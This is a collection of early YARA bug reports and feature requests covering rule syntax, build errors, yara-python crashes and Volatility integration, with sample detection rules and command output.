There are many file formats (and stuff) which use a simple checksum, a total 
summation of each byte within a range of offsets, and not a CRC or anything 
fancy like that. It would be nice if there was a function like:

sum(start_offset,end_offset)

...Which would return the total sum of all the unsigned bytes within that 
domain. 

Believe it or not, currently you can test for valid checksums by writing rules 
like this:

condition:
uint32(257) == 
uint8(0)+uint8(1)+uint8(2)+uint8(3)+uint8(4)+uint8(5)+uint8(6)+uint8(7)+uint8(8)
+uint8(9)+uint8(10)+uint8(11)+uint8(12)+uint8(13)+uint8(14)+uint8(15)+uint8(16)+
uint8(17)+uint8(18)+ etc. + etc. + etc.

... But this is rather obnoxious.

What steps will reproduce the problem?
1.yara.exe 1.5
2. when use condition like "2 of ($foo*)"
3. yara can only match sample only has 2 strings matched. 3 or more strings 
shooted  will not match



What is the expected output? What do you see instead?


What version of the product are you using? On what operating system?


Please provide any additional information below.

Yara uses the word 'namespace' which is a C++ reserved word in numerous 
locations as a variable name.

Trying to link yara into a C++ application leads to compilation errors.

Suggested fix is to simply rename the namespace variable to something that 
isn't a reserved word in the following locations:

yara.h lines 206, 295
ast.h line 164
libyara.c lines 201, 440
ast.c lines 28, 35, 166

yara-python.c contains the word namespace, but since this becomes a python 
module, not as much of a concern.

Does fast mode ignore some scanning?

What steps will reproduce the problem?
1. After downloading the code & unzipping run make
2.
3.

What is the expected output? 

expected output is that make compiles the yara code

What do you see instead?

in libyara/exe.c ULLONG_MAX is undefined.  I see that this is defined in 
/usr/include/limits.h;however an strace -f on make reveals that make is using 
/usr/include/linux/limits.h which does not have it defined.

What version of the product are you using? On what operating system?
yara 1.5 on a fully patched CentOS 5.5 (with the pcre & pcre-devel rpm packages)

Please provide any additional information below.
I was able to work around this by directly adding the ULLONG_MAX definition 
(found in /usr/include/limits.h) in the exe.c file.

What steps will reproduce the problem?
1. matches = rules.match('tmp.txt')
2. dir(matches[0])

What is the expected output? What do you see instead?
I expected to see the attributes within the namespace but I got a segfault 
instead.

What version of the product are you using? On what operating system?
Yara 2.6 on Linux with Python2.7 and Yara 2.6 on Windows XP with Python 2.7

Please provide any additional information below.
This problem also affects rules object output of yara.compile

Issue 18 still exists in the yara 1.5 download compiled for Windows.

The version 1.5 Win32 binary was made available on March 30, 2011. Issue 18 was 
reported and corrected in May. It appears the Windows version has not been 
recompiled with updated sources.

I'm writing a rule which needs to check for the presence of a block of NULL 
bytes at a specific offset. The problem, is that the offset is usually 
immediately preceded by some more NULLs. And so Yara will match on the first 
substring it finds... which is not at the offset I want to check. As Yara 
doesn't overlap the substring matches, after the first unaligned match, every 
match after in that group will be offset. Er, here's an example below. So, this 
problem can be solved with a regular expression, but I want to avoid using 
those because they're really really slow.

What would be nice is to be able to put something like "align 4" as a modifier 
after the string. For my specific use case, 512 byte alignment would be best.

Steps to Reproduce (I want a rule to match on both files):

$ echo ABCDEFGHIJKLMNOPQRSTUVWXYZ88888888 > file1
$ echo ABCDEFGHIJKLMNOPQRSTUVW88888888888 > file2

$ cat example.yara 
rule alignment_problem {
   strings:
     $a = "8888"
   condition:
     $a at 26
}

$ ./yara example.yara file1
alignment_problem file1

$ ./yara example.yara file2
[no output]

$ ./yara -s example.yara file1
alignment_problem file1
0x1a:$a: 8888
0x1e:$a: 8888

$ ./yara -sn example.yara file2
alignment_problem file2
0x17:$a: 8888
0x1b:$a: 8888

I'm writing a rule where I want to match on one hundred and twenty eight 
consecutive NULL bytes. And I don't want to have to write it like this:

rule too_long {
  strings:
    $a = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 etc. etc. etc.

If I could just write something like:

$a = { 00 } x 128

or...

$a = { 00 } repeat 128

or...

$a = { 00 {128} }

... or whatever. And I know this can be done with a regular expression, but 
those are really slow for some reason I haven't determined yet... 

Being able to repeat up to 1024 times would be nice.

Anyway, if you want to get really fancy, you can do it for more than just 
single byte sequences, like this example of how Perl does things:

perl -e 'print "AB"x10'
ABABABABABABABABABAB

What steps will reproduce the problem?
From previous issues I guess that It should work on Windows x64.

1.Install Yara-Python on windows 7 x64 using yara-python-1.5.win32-py2.6.exe
2.Open python console and execute: import yara
3.Message: ImportError: DLL load failed: %1 is not a valid Win32 application

What is the expected output? What do you see instead?
The expectec output is no message. Instead I receive: ImportError: DLL load 
failed: %1 is not a valid Win32 application

What version of the product are you using? On what operating system?
Python 2.6 on Windows 7 x64.

Please provide any additional information below.

What steps will reproduce the problem?
It would be exceptionally helpful, if YARA supported negative META fields (as 
negative integers).

Here is an example:

rule foo {

    meta:
        weight = -50

    strings:
        $header = "MZ"

    condition:
        $header at 0
}

What is the expected output? What do you see instead?
Instead of properly parsing this rule, YARA returns this type of error:

/tmp/foo.yara:4: syntax error, unexpected '-', expecting _NUMBER_ or 
_TEXTSTRING_ or _TRUE_ or _FALSE_

What version of the product are you using? On what operating system?

Yara v1.6 (Linux 64-bit)

Please provide any additional information below.

I know the workaround is to set the META field to be a string, like:

weight = "-50"

...but I'd prefer if YARA directly supported negative integers directly, rather 
than having to manually convert strings back to negative integers, because of 
this limitation.

I'd like to be able to specify the file location (either an absolute folder 
such as C:\Windows\System32 or folders subtree such as C:\Windows\System32\**) 
as a condition to a rule. 
rule will match only if the the condition satisfies and the file is in the 
specified location

thanks

What version of the product are you using? On what operating system?

Yara-1.6, Yara-Python-1.6, compiled & installed under cygwin on Windows 7 x64.

Please provide any additional information below.

Yara-1.6 compiles, installs, and appears to function correctly. yara-python-1.6 
also appears to compile and install correctly. However I note when attempting 
to run pescanner.py, which uses yara-python, that whenever I scan a binary with 
my whole yara rules file, no output is produced, not even the output normally 
seen when no yara rules are supplied. Reducing the ruleset progressively shows 
something even more odd. I can get the file down to two entries (simple ones, 
with only a single string and condition statement in each), removing either of 
which will result in the file processing correctly... And it's not necessary 
for both rules to match to generate the problem. There are also a significant 
number of rules which seem to coexist peacefully. I reiterate also that the 
regular yara command line program processes my full rule list perfectly, and 
produces normal expected output.

I'm not absolutely certain, but I think this was working normally at one point. 
However I haven't been able to revert anything that I think I've changed 
recently and get it to function correctly again.

Also, I think something similar is happening to the volatility malfind plugin, 
which I just installed for testing. In any case, it's not producing expected 
output. This is why I suspect something wrong with yara-python.

The problem may actually be with my build environment, but I'd like to know for 
sure that pescanner.py is working normally on target files with multiple yara 
rule matches under yara-1.6 and yara-python-1.6.

Anyone seen anything like this before?
Thanks
John

It will be cool to have bitwise logical operators. Currently I'm using '/,>,<' 
dog-nails.

This is a feature request not a bug.

It would be helpful if Yara would not load entire files into memory to scan 
them but step through them with an sizeable overlap to avoid false negatives. 
It would also be very helpful if Yara would use a similar chunking method to 
scan processes because files can at least be scanned in as chunks of data by 
the controlling process.

Basically Yara's memory usage needs to have some limitation.

What steps will reproduce the problem?
1. sudo ./configure; make; make install (after untarred)
2.
3.

What is the expected output? What do you see instead?

grammar.y:1078: fatal error: opening dependency file .deps/grammar.Tpo:
Permission denied
compilation terminated.
make[3]: *** [grammar.lo] Error 1
make[3]: Leaving directory `/home/administrator/Downloads/yara-1.3/libyara'
make[2]: *** [all] Error 2
make[2]: Leaving directory `/home/administrator/Downloads/yara-1.3/libyara'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/administrator/Downloads/yara-1.3'
make: *** [all] Error 2
Making install in libyara
make[1]: Entering directory `/home/administrator/Downloads/yara-1.3/libyara'
/bin/bash ./libtool --tag=CC   --mode=compile gcc -DHAVE_CONFIG_H -I.    
-g -O2 -MT grammar.lo -MD -MP -MF .deps/grammar.Tpo -c -o grammar.lo grammar.c
 gcc -DHAVE_CONFIG_H -I. -g -O2 -MT grammar.lo -MD -MP -MF
.deps/grammar.Tpo -c grammar.c  -fPIC -DPIC -o .libs/grammar.o
grammar.y:1078: fatal error: opening dependency file .deps/grammar.Tpo:
Permission denied
compilation terminated.
make[1]: *** [grammar.lo] Error 1
make[1]: Leaving directory `/home/administrator/Downloads/yara-1.3/libyara'
make: *** [install-recursive] Error 1


What version of the product are you using? On what operating system?
yara 1.3 - Ubuntu 9.10

Please provide any additional information below.
pcre successfully installed.  thanks for your help!  awesome project!

Using command 
$ python vol.py malfind -f /home/evild3ad/memory-samples/cookbook/zeus.vmem -p 
856 -Y /home/evild3ad/yara-rules/MalwareRules.yara -D 
/home/evild3ad/Volatility/dump-files

Volatile Systems Volatility Framework 2.1_alpha
Name                 Pid    Start      End        Tag      Hits   Protect
Traceback (most recent call last):
  File "vol.py", line 135, in <module>
    main()
  File "vol.py", line 126, in main
    command.execute()
  File "/home/evild3ad/pycrypto-2.0.x-9e9641d/yara-1.4/yara-python-1.4a/Volatility/volatility/commands.py", line 101, in execute
    func(outfd, data)
  File "/home/evild3ad/pycrypto-2.0.x-9e9641d/yara-1.4/yara-python-1.4a/Volatility/volatility/plugins/malware.py", line 1042, in render_text
    for (name,pid,start,end,tag,prx,fname,hits,chunk) in data:
  File "/home/evild3ad/pycrypto-2.0.x-9e9641d/yara-1.4/yara-python-1.4a/Volatility/volatility/plugins/malware.py", line 938, in calculate
    rules = yara.compile(stuff)
yara.SyntaxError: line 63: syntax error, unexpected _IDENTIFIER_, expecting 
_OR_ or _AND_ or _IS_ or ')'

What steps will reproduce the problem?
1. rule Worm_FlyStudio_39
{
strings:
    $a0 = { (50|51|52|53|54|55|56|57|58|59|5A|5B|5C|5D|5E|5F)5?5?5?????5?5?0f84 }

condition:
    $a0
}
Produces a 'misplaced wildcard or skip at string "$a0"' error.


What is the expected output? What do you see instead?

The original formulation was $a0 = { 5?5?5?5?????5?5?0f84 } which is arguably 
prohibited.  The rule in question was produced by the clamav_to_yara.py script 
and is one of a number of cases where the script produces a result that 
provokes an error from yara.  The ( ... ) form was an attempt to reformat the 
string in an acceptable fashion.  The manual does not prohibit this form at the 
beginning of a string.  The proximate cause of the error is a test in ast.c for 
an initial mask byte of 0XFF which rejects anything other than a proper hex 
byte.


Using version 1.6 of yara on Mac OS X 10.6

I have not looked at the string matching code to determine whether relaxing the 
initial byte requirement will cause other problems.  The requirement that the 
initial pattern byte not be a full wildcard byte is reasonable as the same 
result can be obtained with $s in (1..filesize), however it is not clear that a 
single wild nibble should be prohibited in the first byte since the 
non-wildcard nibble still anchors the pattern.